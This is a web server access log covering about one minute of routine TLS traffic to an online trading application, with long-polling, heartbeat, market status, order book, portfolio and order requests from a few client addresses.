[09/Jan/2026:09:44:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1207
[09/Jan/2026:09:44:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923326680 HTTP/1.1" -
[09/Jan/2026:09:44:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=A288E86A5CDCBDDE79170DC1503EB5F1 HTTP/1.1" 1014
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:44:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:44:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923314439 HTTP/1.1" -
[09/Jan/2026:09:44:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923314772 HTTP/1.1" -
[09/Jan/2026:09:44:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:44:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1321
[09/Jan/2026:09:44:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:44:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923316294 HTTP/1.1" -
[09/Jan/2026:09:44:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923319679 HTTP/1.1" -
[09/Jan/2026:09:44:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923331758 HTTP/1.1" -
[09/Jan/2026:09:44:08 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:44:08 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:08 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1689
[09/Jan/2026:09:44:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923319484 HTTP/1.1" -
[09/Jan/2026:09:44:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923319805 HTTP/1.1" -
[09/Jan/2026:09:44:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:44:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:44:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923324849 HTTP/1.1" -
[09/Jan/2026:09:44:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923322292 HTTP/1.1" -
[09/Jan/2026:09:44:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923337084 HTTP/1.1" -
[09/Jan/2026:09:44:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:44:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923324522 HTTP/1.1" -
[09/Jan/2026:09:44:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923325046 HTTP/1.1" -
[09/Jan/2026:09:44:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923329992 HTTP/1.1" -
[09/Jan/2026:09:44:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923342102 HTTP/1.1" -
[09/Jan/2026:09:44:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923328290 HTTP/1.1" -
[09/Jan/2026:09:44:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923329556 HTTP/1.1" -
[09/Jan/2026:09:44:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:44:22 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923331052 HTTP/1.1" -
[09/Jan/2026:09:44:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923335118 HTTP/1.1" -
[09/Jan/2026:09:44:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923347134 HTTP/1.1" -
[09/Jan/2026:09:44:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923334301 HTTP/1.1" -
[09/Jan/2026:09:44:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923334589 HTTP/1.1" -
[09/Jan/2026:09:44:28 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:28 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:44:28 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:28 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:44:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923352159 HTTP/1.1" -
[09/Jan/2026:09:44:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923340215 HTTP/1.1" -
[09/Jan/2026:09:44:28 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923337058 HTTP/1.1" -
[09/Jan/2026:09:44:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:44:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:44:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923339623 HTTP/1.1" -
[09/Jan/2026:09:44:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923340302 HTTP/1.1" -
[09/Jan/2026:09:44:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923357219 HTTP/1.1" -
[09/Jan/2026:09:44:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923345352 HTTP/1.1" -
[09/Jan/2026:09:44:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923343055 HTTP/1.1" -
[09/Jan/2026:09:44:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:44:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923344675 HTTP/1.1" -
[09/Jan/2026:09:44:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:37 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:44:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923346293 HTTP/1.1" -
[09/Jan/2026:09:44:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923362290 HTTP/1.1" -
[09/Jan/2026:09:44:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923350413 HTTP/1.1" -
[09/Jan/2026:09:44:40 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923349052 HTTP/1.1" -
[09/Jan/2026:09:44:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923349719 HTTP/1.1" -
[09/Jan/2026:09:44:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:44:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:44:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923352289 HTTP/1.1" -
[09/Jan/2026:09:44:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923367361 HTTP/1.1" -
[09/Jan/2026:09:44:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923355531 HTTP/1.1" -
[09/Jan/2026:09:44:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:44:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923354765 HTTP/1.1" -
[09/Jan/2026:09:44:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923355048 HTTP/1.1" -
[09/Jan/2026:09:44:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923372394 HTTP/1.1" -
[09/Jan/2026:09:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923360667 HTTP/1.1" -
[09/Jan/2026:09:44:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923358298 HTTP/1.1" -
[09/Jan/2026:09:44:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923359787 HTTP/1.1" -
[09/Jan/2026:09:44:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:44:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:44:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923361055 HTTP/1.1" -
[09/Jan/2026:09:44:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923377459 HTTP/1.1" -
[09/Jan/2026:09:44:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923365808 HTTP/1.1" -
[09/Jan/2026:09:44:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923364298 HTTP/1.1" -
[09/Jan/2026:09:44:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923364820 HTTP/1.1" -
